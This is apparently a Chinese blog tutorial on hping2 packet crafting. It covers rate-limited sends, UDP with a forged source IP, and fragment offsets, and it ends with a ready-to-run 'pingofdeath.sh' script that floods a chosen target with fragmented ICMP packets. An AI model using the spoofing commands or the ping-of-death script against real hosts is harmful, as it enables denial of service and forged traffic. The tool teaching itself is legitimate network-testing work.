数据包构造工具Hping2实战

少于 1 分钟读完

hping简介

hping is a command-line oriented TCP/IP packet assembler/analyzer.

用途有下:

  • Firewall testing
  • Advanced port scanning
  • Network testing, using different protocols, TOS, fragmentation
  • Manual path MTU discovery
  • Advanced traceroute, under all the supported protocols
  • Remote OS fingerprinting
  • Remote uptime guessing
  • TCP/IP stacks auditing
  • hping can also be useful to students that are learning TCP/IP.

hping实战

在ubuntu中编译的hping2-rc3版本

hping -h打印出的第一行就指出了目的主机参数的位置

hping host [options]

向10.10.10.10发送数据包

hping 10.10.10.10

如果没有指定任何参数,它会向10.10.10.10的0号端口以每秒1个包的速率一直运行

向10.10.10.10发送10个包

hping 10.10.10.10 -c 10

执行的功能是从本地一个随机端口向10.10.10.10的0端口发送了10个tcp数据包。 -c选项指出发送包的数量,等同于–count

每秒向10.10.10.10发送10个包,总共发送50个

hping 10.10.10.10 -i u100000 -c 50

-i 选项用于指定发包的时间间隔,单位是微秒,以u开头,1s=1000ms=1000000us

用源IP 10.10.10.111向10.10.10.10以100packet/s的速率发送udp包

hping 10.10.10.10 -i u10000 -2 -a 10.10.10.111

-2 选项是用来发送udp数据包,等同于–udp
-a 选项是用来伪造源IP地址

从<10.10.10.111, 1234>向<10.10.10.10, 5678>发送tcp数据包

hping 10.10.10.10 -a 10.10.10.111 -s 1234 -p 5678

-s 选项是用来指定源端口,等同于–baseport
-p 选项是用来指定目的端口,等同于–destport

发送一个大于65535字节的分片icmp包

hping 10.10.10.10 -1 -g 65420 -d 1200 -c 1

-g 选项指定分片偏移,等同于–fragoff

模拟ping of death

pingofdeath.sh脚本

#!/bin/bash
#dst=10.10.10.10
dst=$1
id=186
#14B ethernet header + 20B ip header + 8B icmp header
dsize=1450
let icmpsize=$dsize+8
hping $dst -1 -x -d $dsize -N $id -c 1

for i in $(seq 50)
do
	let offset=$i*$icmpsize
	hping $dst -1 -x -d $dsize -g $offset -N $id -c 1
done

-N 选项指定IP报头的标识符,等同于–id -d 选项指定数据包的大小,等同于–data
-x 选项说明该IP包后面还分片,相当于IP报头的M标识位,等同于–morefrag

留下评论